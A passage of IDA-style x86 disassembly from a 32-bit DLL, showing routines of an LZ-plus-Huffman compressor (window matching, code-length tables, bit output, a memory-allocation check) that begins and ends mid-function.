		jnz	short loc_1001B8E0
		mov	edx, dword_10076374


loc_1001B8CE:				; CODE XREF: sub_1001B890+4Ej
		mov	ax, [ecx+edx]
		movsx	ecx, ax
		shl	ecx, 1
		mov	di, [ecx+esi]
		test	di, di
		jz	short loc_1001B8CE


loc_1001B8E0:				; CODE XREF: sub_1001B890+36j
		mov	edx, dword_10076368
		xor	ebx, ebx
		movsx	ecx, di
		mov	bl, [ecx+edx]
		cmp	ebx, ebp
		jl	short loc_1001B904


loc_1001B8F2:				; CODE XREF: sub_1001B890+72j
		mov	eax, edi
		mov	di, [esi+ecx*2]
		movsx	ecx, di
		xor	ebx, ebx
		mov	bl, [ecx+edx]
		cmp	ebx, ebp
		jge	short loc_1001B8F2


loc_1001B904:				; CODE XREF: sub_1001B890+60j
		mov	edx, dword_1007634C
		mov	esi, edi
		movsx	ecx, di
		shl	ecx, 1
		add	edx, ecx
		cmp	word ptr [edx],	0
		jge	short loc_1001B946


loc_1001B919:				; CODE XREF: sub_1001B890+AEj
		mov	si, word ptr dword_10076358+2
		mov	[edx], si
		mov	edx, dword_1007635C
		mov	si, [ecx+edx]
		mov	edx, dword_1007634C
		movsx	ecx, si
		shl	ecx, 1
		add	edx, ecx
		cmp	word ptr [edx],	0
		jl	short loc_1001B919
		mov	ebp, dword_10076350


loc_1001B946:				; CODE XREF: sub_1001B890+87j
		cmp	si, 2000h
		jnb	loc_1001B9D1
		mov	cx, word ptr dword_10076358+2
		movsx	edx, si
		mov	esi, dword_1007634C
		or	cx, 8000h
		mov	[esi+edx*2], cx
		mov	ebp, dword_10076350
		jmp	short loc_1001B9D1
; ---------------------------------------------------------------------------


loc_1001B972:				; CODE XREF: sub_1001B890+Ej
		movsx	eax, word ptr dword_10076358+2
		mov	ecx, dword_1007636C
		add	eax, ecx
		mov	dl, [eax+1]
		movzx	di, byte ptr [eax]
		mov	byte ptr [esp+14h+var_4], dl
		add	edi, 2000h
		mov	esi, [esp+14h+var_4]
		push	esi
		push	edi
		call	sub_1001BB50
		add	esp, 8
		test	ax, ax
		jnz	short loc_1001B9C6
		mov	ax, word ptr dword_10076358+2
		push	eax
		push	esi
		push	edi
		call	sub_1001B5C0
		add	esp, 0Ch
		mov	dword_10076350,	1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_1001B9C6:				; CODE XREF: sub_1001B890+113j
		mov	ebp, 2


loc_1001B9CB:				; CODE XREF: sub_1001B890+200j
		mov	dword_10076350,	ebp


loc_1001B9D1:				; CODE XREF: sub_1001B890+BBj
					; sub_1001B890+E0j
		cmp	ax, 2000h
		jb	short loc_1001B9E4
		mov	[esp+14h+var_4], 100h
		mov	cx, ax
		jmp	short loc_1001BA07
; ---------------------------------------------------------------------------


loc_1001B9E4:				; CODE XREF: sub_1001B890+145j
		mov	edx, dword_10076368
		movsx	ecx, ax
		movzx	dx, byte ptr [ecx+edx]
		mov	word ptr [esp+14h+var_4], dx
		mov	edx, dword_1007634C
		mov	cx, [edx+ecx*2]
		and	ecx, 7FFFh


loc_1001BA07:				; CODE XREF: sub_1001B890+152j
		mov	bx, word ptr dword_10076358+2
		mov	word ptr dword_10076358, cx
		cmp	cx, bx
		jl	short loc_1001BA26
		add	cx, 0E000h
		mov	word ptr dword_10076358, cx


loc_1001BA26:				; CODE XREF: sub_1001B890+188j
		mov	edx, dword_1007636C
		movsx	esi, bx
		movsx	ecx, cx
		add	esi, edx
		add	ecx, edx
		movsx	edx, word ptr [esp+14h+var_4]
		add	esi, ebp
		add	ecx, ebp
		cmp	ebp, edx
		jge	short loc_1001BA5D


loc_1001BA43:				; CODE XREF: sub_1001B890+1C4j
		mov	bl, [esi]
		cmp	bl, [ecx]
		jnz	short loc_1001BA95
		inc	ebp
		inc	esi
		inc	ecx
		cmp	ebp, edx
		mov	dword_10076350,	ebp
		jl	short loc_1001BA43
		mov	bx, word ptr dword_10076358+2


loc_1001BA5D:				; CODE XREF: sub_1001B890+1B1j
		cmp	ebp, 100h
		jge	short loc_1001BAA4
		mov	edx, dword_1007634C
		mov	edi, eax
		movsx	ecx, ax
		mov	[edx+ecx*2], bx
		mov	cl, [esi]
		push	ecx
		push	eax
		call	sub_1001BB50
		add	esp, 8
		test	ax, ax
		jz	loc_1001BB2B
		mov	ebp, dword_10076350
		inc	ebp
		jmp	loc_1001B9CB
; ---------------------------------------------------------------------------


loc_1001BA95:				; CODE XREF: sub_1001B890+1B7j
		push	eax
		call	sub_1001B4E0
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_1001BAA4:				; CODE XREF: sub_1001B890+1D3j
		mov	edx, dword_10076364
		movsx	eax, ax
		shl	eax, 1
		movsx	esi, bx
		mov	cx, [eax+edx]
		mov	[edx+esi*2], cx
		mov	si, word ptr dword_10076358+2
		movsx	edx, cx
		mov	ecx, dword_10076374
		mov	[ecx+edx*2], si
		mov	edx, dword_10076374
		movsx	esi, word ptr dword_10076358+2
		mov	cx, [eax+edx]
		mov	[edx+esi*2], cx
		mov	esi, dword_10076364
		movsx	edx, cx
		mov	cx, word ptr dword_10076358+2
		mov	[esi+edx*2], cx
		mov	ecx, dword_1007635C
		movsx	edx, word ptr dword_10076358+2
		mov	[ecx+edx*2], di
		mov	edx, dword_1007635C
		pop	edi
		pop	esi
		mov	word ptr [eax+edx], 0
		mov	ecx, dword_10076374
		mov	dx, word ptr dword_10076358+2
		pop	ebp
		mov	[eax+ecx], dx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_1001BB2B:				; CODE XREF: sub_1001B890+1F3j
		mov	ax, word ptr dword_10076358+2
		mov	cl, [esi]
		push	eax
		push	ecx
		push	edi
		call	sub_1001B5C0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_1001B890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001BB50	proc near		; CODE XREF: sub_1001B890+108p
					; sub_1001B890+1E8p ...

arg_0		= word ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	dx, [esp+arg_0]
		and	eax, 0FFh
		push	esi
		add	eax, 400h
		movsx	ecx, dx
		shl	eax, 4
		add	eax, ecx
		mov	ecx, dword_10076374
		mov	ax, [ecx+eax*2]
		mov	ecx, dword_1007635C
		mov	[ecx], dx
		mov	esi, dword_1007635C
		movsx	ecx, ax
		shl	ecx, 1
		cmp	[ecx+esi], dx
		jz	short loc_1001BBA7
		push	edi
		mov	edi, dword_10076374


loc_1001BB97:				; CODE XREF: sub_1001BB50+54j
		mov	ax, [ecx+edi]
		movsx	ecx, ax
		shl	ecx, 1
		cmp	[ecx+esi], dx
		jnz	short loc_1001BB97
		pop	edi


loc_1001BBA7:				; CODE XREF: sub_1001BB50+3Ej
		pop	esi
		retn
sub_1001BB50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001BBB0	proc near		; CODE XREF: sub_1001B640+95p
					; sub_1001B640:loc_1001B71Ep
		mov	eax, dword_10076370
		dec	eax
		mov	dword_10076370,	eax
		mov	ax, word ptr dword_10076358+2
		inc	ax
		cmp	ax, 4000h
		mov	word ptr dword_10076358+2, ax
		jnz	short loc_1001BC2F
		mov	eax, dword_1007636C
		push	2100h		; Size
		lea	ecx, [eax+2000h]
		push	ecx		; Src
		push	eax		; Dst
		call	ds:memmove	; memmove
		mov	edx, dword_1007633C
		mov	eax, dword_1007636C
		push	edx		; File
		add	eax, 2100h
		push	2000h		; Count
		push	eax		; DstBuf
		call	sub_1001B3E0
		mov	ecx, dword_10076370
		mov	word ptr dword_10076358+2, 2000h
		add	ecx, eax
		mov	dword_10076370,	ecx
		mov	ecx, ds:_iob
		add	ecx, 40h
		push	ecx		; File
		push	2Eh		; Ch
		call	ds:putc	; putc
		add	esp, 20h


loc_1001BC2F:				; CODE XREF: sub_1001BBB0+1Dj
		call	sub_1001BC40
		jmp	sub_1001B890
sub_1001BBB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001BC40	proc near		; CODE XREF: sub_1001BBB0:loc_1001BC2Fp

var_4		= dword	ptr -4

		push	ecx
		movsx	ecx, word ptr dword_10076358+2
		mov	eax, dword_1007635C
		push	esi
		shl	ecx, 1
		cmp	word ptr [ecx+eax], 0
		jz	loc_1001BE3E
		mov	edx, dword_10076364
		mov	ax, [ecx+edx]
		mov	edx, dword_10076374
		movsx	esi, ax
		mov	cx, [ecx+edx]
		mov	[edx+esi*2], cx
		mov	edx, dword_10076364
		movsx	ecx, cx
		mov	[edx+ecx*2], ax
		mov	ecx, dword_1007635C
		movsx	eax, word ptr dword_10076358+2
		lea	eax, [ecx+eax*2]
		mov	cx, [eax]
		mov	word ptr [eax],	0
		cmp	cx, 2000h
		mov	[esp+8+var_4], ecx
		jnb	loc_1001BE3E
		mov	eax, dword_10076354
		movsx	esi, cx
		mov	cl, [esi+eax]
		dec	cl
		mov	[esi+eax], cl
		mov	edx, dword_10076354
		cmp	byte ptr [esi+edx], 1
		ja	loc_1001BE3E
		push	ebx
		mov	ebx, dword_1007634C
		push	ebp
		push	edi
		mov	bp, [ebx+esi*2]
		and	ebp, 7FFFh
		cmp	bp, word ptr dword_10076358+2
		jl	short loc_1001BCEC
		sub	ebp, 2000h


loc_1001BCEC:				; CODE XREF: sub_1001BC40+A4j
		mov	eax, dword_1007635C
		mov	edi, ebp
		mov	dx, [eax+esi*2]
		movsx	eax, dx
		shl	eax, 1
		mov	cx, [eax+ebx]
		test	ch, 80h
		jz	short loc_1001BD48


loc_1001BD05:				; CODE XREF: sub_1001BC40+106j
		and	ecx, 7FFFh
		cmp	cx, word ptr dword_10076358+2
		jl	short loc_1001BD1A
		sub	ecx, 2000h


loc_1001BD1A:				; CODE XREF: sub_1001BC40+D2j
		cmp	cx, di
		jle	short loc_1001BD21
		mov	edi, ecx


loc_1001BD21:				; CODE XREF: sub_1001BC40+DDj
		mov	ecx, edi
		or	ch, 20h
		mov	[eax+ebx], cx
		mov	edx, dword_1007635C
		mov	ebx, dword_1007634C
		mov	dx, [eax+edx]
		movsx	eax, dx
		shl	eax, 1
		mov	cx, [eax+ebx]
		test	ch, 80h
		jnz	short loc_1001BD05


loc_1001BD48:				; CODE XREF: sub_1001BC40+C3j
		cmp	dx, 2000h
		jnb	short loc_1001BD72
		cmp	cx, word ptr dword_10076358+2
		jl	short loc_1001BD5E
		sub	ecx, 2000h


loc_1001BD5E:				; CODE XREF: sub_1001BC40+116j
		cmp	cx, di
		jle	short loc_1001BD65
		mov	edi, ecx


loc_1001BD65:				; CODE XREF: sub_1001BC40+121j
		movsx	eax, dx
		or	edi, 0FFFFA000h
		mov	[ebx+eax*2], di


loc_1001BD72:				; CODE XREF: sub_1001BC40+10Dj
		mov	edx, dword_10076368
		xor	ecx, ecx
		movsx	eax, bp
		mov	cl, [esi+edx]
		mov	edx, dword_1007636C
		add	edx, ecx
		mov	ecx, [esp+14h+var_4]
		mov	al, [eax+edx]
		push	eax
		push	ecx
		call	sub_1001BB50
		mov	edx, dword_10076364
		mov	ebx, dword_10076374
		movsx	ecx, ax
		add	esp, 8
		shl	ecx, 1
		mov	dx, [ecx+edx]
		mov	di, [ecx+ebx]
		movsx	ebp, dx
		mov	[ebx+ebp*2], di
		mov	ebx, dword_10076364
		movsx	edi, di
		mov	[ebx+edi*2], dx
		mov	edx, dword_10076364
		mov	ebx, dword_10076374
		mov	dx, [edx+esi*2]
		movsx	edi, dx
		mov	[ebx+edi*2], ax
		mov	edi, dword_10076364
		mov	[ecx+edi], dx
		mov	edx, dword_10076374
		mov	ebx, dword_10076364
		mov	dx, [edx+esi*2]
		movsx	edi, dx
		mov	[ebx+edi*2], ax
		mov	eax, dword_10076374
		pop	edi
		pop	ebp
		mov	[ecx+eax], dx
		mov	eax, dword_1007635C
		pop	ebx
		mov	dx, [eax+esi*2]
		mov	[ecx+eax], dx
		mov	eax, dword_1007635C
		mov	word ptr [eax+esi*2], 0
		mov	edx, dword_10076374
		mov	cx, word ptr dword_10076360
		mov	ax, word ptr [esp+8+var_4]
		mov	[edx+esi*2], cx
		mov	word ptr dword_10076360, ax


loc_1001BE3E:				; CODE XREF: sub_1001BC40+15j
					; sub_1001BC40+64j ...
		pop	esi
		pop	ecx
		retn
sub_1001BC40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001BE50	proc near		; CODE XREF: sub_1001B640+D1p
					; sub_1001B640+112p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_1007637C
		push	esi
		shr	eax, 1
		mov	dword_1007637C,	eax
		jnz	short loc_1001BEA6
		mov	eax, dword_1007A430
		mov	dword_1007637C,	80h
		lea	ecx, [eax-18h]
		mov	eax, dword_10079C08
		cmp	eax, ecx
		jb	short loc_1001BE8E
		call	sub_1001BF50
		mov	eax, dword_1007411C
		test	eax, eax
		jnz	loc_1001BF40
		xor	eax, eax


loc_1001BE8E:				; CODE XREF: sub_1001BE50+28j
		mov	edx, dword_10076378
		mov	ecx, eax
		inc	eax
		mov	dword_10079BB8,	ecx
		mov	dword_10079C08,	eax
		mov	byte ptr [edx+ecx], 0


loc_1001BEA6:				; CODE XREF: sub_1001BE50+Dj
		mov	ecx, dword_10079C08
		mov	edx, dword_10076378
		mov	eax, [esp+4+arg_0]
		mov	[edx+ecx], al
		mov	esi, dword_10079C08
		inc	esi
		inc	word_10076B78[eax*2]
		cmp	eax, 100h
		mov	dword_10079C08,	esi
		jb	short loc_1001BF40
		mov	eax, dword_10076378
		mov	ecx, dword_10079BB8
		mov	dl, byte ptr dword_1007637C
		push	ebx
		mov	bl, [eax+ecx]
		or	bl, dl
		mov	[eax+ecx], bl
		mov	eax, [esp+8+arg_4]
		mov	edx, dword_10079C08
		mov	esi, dword_10076378
		mov	ecx, eax
		pop	ebx
		shr	ecx, 8
		mov	[esi+edx], cl
		mov	ecx, dword_10079C08
		mov	edx, dword_10076378
		inc	ecx
		mov	dword_10079C08,	ecx
		mov	[edx+ecx], al
		mov	esi, dword_10079C08
		inc	esi
		xor	ecx, ecx
		test	eax, eax
		mov	dword_10079C08,	esi
		jz	short loc_1001BF38


loc_1001BF31:				; CODE XREF: sub_1001BE50+E6j
		shr	eax, 1
		inc	ecx
		test	eax, eax
		jnz	short loc_1001BF31


loc_1001BF38:				; CODE XREF: sub_1001BE50+DFj
		inc	word_10077388[ecx*2]


loc_1001BF40:				; CODE XREF: sub_1001BE50+36j
					; sub_1001BE50+83j
		pop	esi
		retn
sub_1001BE50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001BF50	proc near		; CODE XREF: sub_1001BE50+2Ap
					; sub_1001C4D0+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	esi
		push	edi
		push	offset word_1007A034
		push	offset byte_10079E0C
		push	offset word_10076B78
		push	1FEh
		call	sub_1001C4F0
		mov	esi, eax
		xor	edi, edi
		mov	di, word_10076B78[esi*2]
		push	edi
		push	10h
		call	sub_1001B2F0
		add	esp, 18h
		cmp	esi, 1FEh
		jb	short loc_1001BFE1
		call	sub_1001C0F0
		push	offset dword_1007A00C
		push	offset dword_10077374
		push	offset word_10079BBC
		push	13h
		call	sub_1001C4F0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, 13h
		jb	short loc_1001BFC6
		push	3
		push	5
		push	13h
		call	sub_1001C190
		add	esp, 0Ch
		call	sub_1001C230
		jmp	short loc_1001C007
; ---------------------------------------------------------------------------


loc_1001BFC6:				; CODE XREF: sub_1001BF50+5Fj
		push	0
		push	5
		call	sub_1001B2F0
		push	esi
		push	5
		call	sub_1001B2F0
		add	esp, 10h
		call	sub_1001C230
		jmp	short loc_1001C007
; ---------------------------------------------------------------------------


loc_1001BFE1:				; CODE XREF: sub_1001BF50+3Aj
		push	0
		push	5
		call	sub_1001B2F0
		push	0
		push	5
		call	sub_1001B2F0
		push	0
		push	9
		call	sub_1001B2F0
		push	esi
		push	9
		call	sub_1001B2F0
		add	esp, 20h


loc_1001C007:				; CODE XREF: sub_1001BF50+74j
					; sub_1001BF50+8Fj
		push	offset dword_1007A00C
		push	offset dword_10077374
		push	offset word_10077388
		push	0Eh
		call	sub_1001C4F0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, 0Eh
		jb	short loc_1001C037
		push	0FFFFFFFFh
		push	4
		push	0Eh
		call	sub_1001C190
		add	esp, 0Ch
		jmp	short loc_1001C04B
; ---------------------------------------------------------------------------


loc_1001C037:				; CODE XREF: sub_1001BF50+D5j
		push	0
		push	4
		call	sub_1001B2F0
		push	esi
		push	4
		call	sub_1001B2F0
		add	esp, 10h


loc_1001C04B:				; CODE XREF: sub_1001BF50+E5j
		xor	esi, esi
		test	edi, edi
		mov	[esp+10h+var_4], esi
		jbe	short loc_1001C0CE
		mov	ebx, [esp+10h+var_4]


loc_1001C059:				; CODE XREF: sub_1001BF50+17Cj
		test	byte ptr [esp+10h+var_4], 7
		mov	eax, dword_10076378
		jnz	short loc_1001C06D
		xor	ebx, ebx
		mov	bl, [eax+esi]
		inc	esi
		jmp	short loc_1001C06F
; ---------------------------------------------------------------------------


loc_1001C06D:				; CODE XREF: sub_1001BF50+113j
		shl	ebx, 1


loc_1001C06F:				; CODE XREF: sub_1001BF50+11Bj
		test	bl, 80h
		jz	short loc_1001C0A7
		xor	ecx, ecx
		mov	cl, [eax+esi]
		mov	eax, ecx
		add	eax, 100h
		inc	esi
		push	eax
		call	sub_1001C390
		mov	ecx, dword_10076378
		xor	eax, eax
		xor	edx, edx
		mov	ah, [ecx+esi]
		mov	dl, [ecx+esi+1]
		inc	esi
		add	eax, edx
		push	eax
		inc	esi
		call	sub_1001C3C0
		add	esp, 8
		jmp	short loc_1001C0B8
; ---------------------------------------------------------------------------


loc_1001C0A7:				; CODE XREF: sub_1001BF50+122j
		xor	ecx, ecx
		mov	cl, [eax+esi]
		inc	esi
		mov	eax, ecx
		push	eax
		call	sub_1001C390
		add	esp, 4


loc_1001C0B8:				; CODE XREF: sub_1001BF50+155j
		mov	eax, dword_1007411C
		test	eax, eax
		jnz	short loc_1001C0E8
		mov	eax, [esp+10h+var_4]
		inc	eax
		cmp	eax, edi
		mov	[esp+10h+var_4], eax
		jb	short loc_1001C059


loc_1001C0CE:				; CODE XREF: sub_1001BF50+103j
		mov	ecx, 0FFh
		xor	eax, eax
		mov	edi, offset word_10076B78
		rep stosd
		mov	ecx, 7
		mov	edi, offset word_10077388
		rep stosd


loc_1001C0E8:				; CODE XREF: sub_1001BF50+16Fj
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_1001BF50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001C0F0	proc near		; CODE XREF: sub_1001BF50+3Cp
		push	edi
		mov	ecx, 9
		xor	eax, eax
		mov	edi, offset word_10079BBC
		rep stosd
		stosw
		mov	edx, 1FEh
		mov	eax, offset byte_1007A009
		sub	eax, edx
		pop	edi


loc_1001C10E:				; CODE XREF: sub_1001C0F0+27j
		cmp	byte ptr [eax+edx], 0
		jnz	short loc_1001C119
		dec	edx
		test	edx, edx
		jg	short loc_1001C10E


loc_1001C119:				; CODE XREF: sub_1001C0F0+22j
		xor	eax, eax
		test	edx, edx
		jle	short locret_1001C18D
		push	ebx


loc_1001C120:				; CODE XREF: sub_1001C0F0+9Aj
		xor	ecx, ecx
		mov	cl, byte_10079E0C[eax]
		inc	eax
		test	ecx, ecx
		jnz	short loc_1001C180
		cmp	eax, edx
		mov	ecx, 1
		jge	short loc_1001C14B


loc_1001C136:				; CODE XREF: sub_1001C0F0+54j
		mov	bl, byte_10079E0C[eax]
		test	bl, bl
		jnz	short loc_1001C146
		inc	eax
		inc	ecx
		cmp	eax, edx
		jl	short loc_1001C136


loc_1001C146:				; CODE XREF: sub_1001C0F0+4Ej
		cmp	ecx, 2
		jg	short loc_1001C154


loc_1001C14B:				; CODE XREF: sub_1001C0F0+44j
		add	word_10079BBC, cx
		jmp	short loc_1001C188
; ---------------------------------------------------------------------------


loc_1001C154:				; CODE XREF: sub_1001C0F0+59j
		cmp	ecx, 12h
		jg	short loc_1001C162
		inc	word_10079BBE
		jmp	short loc_1001C188
; ---------------------------------------------------------------------------


loc_1001C162:				; CODE XREF: sub_1001C0F0+67j
		cmp	ecx, 13h
		jnz	short loc_1001C177
		inc	word_10079BBC
		inc	word_10079BBE
		jmp	short loc_1001C188
; ---------------------------------------------------------------------------


loc_1001C177:				; CODE XREF: sub_1001C0F0+75j
		inc	word_10079BC0
		jmp	short loc_1001C188
; ---------------------------------------------------------------------------


loc_1001C180:				; CODE XREF: sub_1001C0F0+3Bj
		inc	word_10079BC0[ecx*2]


loc_1001C188:				; CODE XREF: sub_1001C0F0+62j
					; sub_1001C0F0+70j ...
		cmp	eax, edx
		jl	short loc_1001C120
		pop	ebx

locret_1001C18D:			; CODE XREF: sub_1001C0F0+2Dj
		retn
sub_1001C0F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001C190	proc near		; CODE XREF: sub_1001BF50+67p
					; sub_1001BF50+DDp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jle	short loc_1001C1AB
		mov	eax, offset dword_10077374
		dec	eax


loc_1001C1A0:				; CODE XREF: sub_1001C190+19j
		cmp	byte ptr [eax+edi], 0
		jnz	short loc_1001C1AB
		dec	edi
		test	edi, edi
		jg	short loc_1001C1A0


loc_1001C1AB:				; CODE XREF: sub_1001C190+8j
					; sub_1001C190+14j
		mov	eax, [esp+8+arg_4]
		push	edi
		push	eax
		call	sub_1001B2F0
		add	esp, 8
		xor	esi, esi
		test	edi, edi
		jle	short loc_1001C220
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]


loc_1001C1C4:				; CODE XREF: sub_1001C190+8Dj
		xor	eax, eax
		mov	al, byte ptr dword_10077374[esi]
		inc	esi
		cmp	eax, 6
		jg	short loc_1001C1D7
		push	eax
		push	3
		jmp	short loc_1001C1E9
; ---------------------------------------------------------------------------


loc_1001C1D7:				; CODE XREF: sub_1001C190+40j
		lea	ecx, [eax-3]
		mov	edx, 1
		shl	edx, cl
		sub	edx, 2
		add	eax, 0FFFFFFFDh
		push	edx
		push	eax


loc_1001C1E9:				; CODE XREF: sub_1001C190+45j
		call	sub_1001B2F0
		add	esp, 8
		cmp	esi, ebx
		jnz	short loc_1001C21B
		cmp	esi, 6
		jge	short loc_1001C20A


loc_1001C1FA:				; CODE XREF: sub_1001C190+78j
		mov	al, byte ptr dword_10077374[esi]
		test	al, al
		jnz	short loc_1001C20A
		inc	esi
		cmp	esi, 6
		jl	short loc_1001C1FA


loc_1001C20A:				; CODE XREF: sub_1001C190+68j
					; sub_1001C190+72j
		lea	eax, [esi+1]
		and	eax, 3
		push	eax
		push	2
		call	sub_1001B2F0
		add	esp, 8


loc_1001C21B:				; CODE XREF: sub_1001C190+63j
		cmp	esi, edi
		jl	short loc_1001C1C4
		pop	ebx


loc_1001C220:				; CODE XREF: sub_1001C190+2Dj
		pop	edi
		pop	esi
		retn
sub_1001C190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001C230	proc near		; CODE XREF: sub_1001BF50+6Fp
					; sub_1001BF50+8Ap
		push	ebx
		mov	ebx, 1FEh
		mov	eax, offset byte_1007A009
		push	edi
		sub	eax, ebx


loc_1001C23E:				; CODE XREF: sub_1001C230+17j
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_1001C249
		dec	ebx
		test	ebx, ebx
		jg	short loc_1001C23E


loc_1001C249:				; CODE XREF: sub_1001C230+12j
		push	ebx
		push	9
		call	sub_1001B2F0
		add	esp, 8
		xor	edi, edi
		test	ebx, ebx
		jle	loc_1001C385
		push	esi


loc_1001C25F:				; CODE XREF: sub_1001C230+14Ej
		xor	eax, eax
		mov	al, byte_10079E0C[edi]
		inc	edi
		test	eax, eax
		jnz	loc_1001C360
		cmp	edi, ebx
		mov	esi, 1
		jge	short loc_1001C296


loc_1001C279:				; CODE XREF: sub_1001C230+57j
		mov	al, byte_10079E0C[edi]
		test	al, al
		jnz	short loc_1001C289
		inc	edi
		inc	esi
		cmp	edi, ebx
		jl	short loc_1001C279


loc_1001C289:				; CODE XREF: sub_1001C230+51j
		cmp	esi, 2
		jg	short loc_1001C2BE
		test	esi, esi
		jle	loc_1001C37C


loc_1001C296:				; CODE XREF: sub_1001C230+47j
					; sub_1001C230+87j
		mov	eax, dword_1007A00C
		mov	ecx, dword_10077374
		and	eax, 0FFFFh
		and	ecx, 0FFh
		push	eax
		push	ecx
		call	sub_1001B2F0
		add	esp, 8
		dec	esi
		jnz	short loc_1001C296
		jmp	loc_1001C37C
; ---------------------------------------------------------------------------


loc_1001C2BE:				; CODE XREF: sub_1001C230+5Cj
		cmp	esi, 12h
		jg	short loc_1001C2ED
		xor	edx, edx
		xor	eax, eax
		mov	dx, word ptr dword_1007A00C+2
		mov	al, byte ptr dword_10077374+1
		push	edx
		push	eax
		call	sub_1001B2F0
		add	esi, 0FFFFFFFDh
		push	esi
		push	4
		call	sub_1001B2F0
		add	esp, 10h
		jmp	loc_1001C37C
; ---------------------------------------------------------------------------


loc_1001C2ED:				; CODE XREF: sub_1001C230+91j
		cmp	esi, 13h
		jnz	short loc_1001C336
		mov	ecx, dword_1007A00C
		mov	edx, dword_10077374
		and	ecx, 0FFFFh
		and	edx, 0FFh
		push	ecx
		push	edx
		call	sub_1001B2F0
		xor	eax, eax
		xor	ecx, ecx
		mov	ax, word ptr dword_1007A00C+2
		mov	cl, byte ptr dword_10077374+1
		push	eax
		push	ecx
		call	sub_1001B2F0
		push	0Fh
		push	4
		call	sub_1001B2F0
		add	esp, 18h
		jmp	short loc_1001C37C
; ---------------------------------------------------------------------------


loc_1001C336:				; CODE XREF: sub_1001C230+C0j
		mov	edx, dword_1007A010
		xor	eax, eax
		mov	al, byte ptr dword_10077374+2
		and	edx, 0FFFFh
		push	edx
		push	eax
		call	sub_1001B2F0
		add	esi, 0FFFFFFECh
		push	esi
		push	9
		call	sub_1001B2F0
		add	esp, 10h
		jmp	short loc_1001C37C
; ---------------------------------------------------------------------------


loc_1001C360:				; CODE XREF: sub_1001C230+3Aj
		xor	ecx, ecx
		xor	edx, edx
		mov	cx, word ptr dword_1007A010[eax*2]
		mov	dl, byte ptr (dword_10077374+2)[eax]
		push	ecx
		push	edx
		call	sub_1001B2F0
		add	esp, 8


loc_1001C37C:				; CODE XREF: sub_1001C230+60j
					; sub_1001C230+89j ...
		cmp	edi, ebx
		jl	loc_1001C25F
		pop	esi


loc_1001C385:				; CODE XREF: sub_1001C230+28j
		pop	edi
		pop	ebx
		retn
sub_1001C230	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001C390	proc near		; CODE XREF: sub_1001BF50+132p
					; sub_1001BF50+160p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		xor	edx, edx
		mov	cx, word_1007A034[eax*2]
		mov	dl, byte_10079E0C[eax]
		push	ecx
		push	edx
		call	sub_1001B2F0
		add	esp, 8
		retn
sub_1001C390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001C3C0	proc near		; CODE XREF: sub_1001BF50+14Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		mov	eax, edi
		jz	short loc_1001C3D5


loc_1001C3CE:				; CODE XREF: sub_1001C3C0+13j
		shr	eax, 1
		inc	esi
		test	eax, eax
		jnz	short loc_1001C3CE


loc_1001C3D5:				; CODE XREF: sub_1001C3C0+Cj
		xor	eax, eax
		xor	ecx, ecx
		mov	ax, word ptr dword_1007A00C[esi*2]
		mov	cl, byte ptr dword_10077374[esi]
		push	eax
		push	ecx
		call	sub_1001B2F0
		add	esp, 8
		cmp	esi, 1
		jbe	short loc_1001C411
		mov	ecx, 11h
		mov	edx, 0FFFFh
		sub	ecx, esi
		shr	edx, cl
		and	edx, edi
		dec	esi
		push	edx
		push	esi
		call	sub_1001B2F0
		add	esp, 8


loc_1001C411:				; CODE XREF: sub_1001C3C0+34j
		pop	edi
		pop	esi
		retn
sub_1001C3C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001C420	proc near		; CODE XREF: sub_1001B640+Ap
		mov	eax, dword_1007A430
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_1001C48E
		mov	esi, ds:malloc
		push	4000h		; Size
		mov	dword_1007A430,	4000h
		call	esi ; malloc
		add	esp, 4
		mov	dword_10076378,	eax
		test	eax, eax
		jnz	short loc_1001C493


loc_1001C44E:				; CODE XREF: sub_1001C420+6Aj
		mov	eax, 0CCCCCCCDh
		mul	dword_1007A430
		shr	edx, 3
		lea	eax, [edx+edx*8]
		cmp	eax, 1000h
		mov	dword_1007A430,	eax
		jnb	short loc_1001C47D
		push	offset aOutOfMemory_ ; "Out of memory."
		call	sub_1001B270
; ---------------------------------------------------------------------------
		db 0A1h	; ¡
		db  30h	; 0 OFF32 SEGDEF [_data,1007A430]
		db 0A4h	; ¤
		db    7
		db  10h
		db  83h	; ƒ
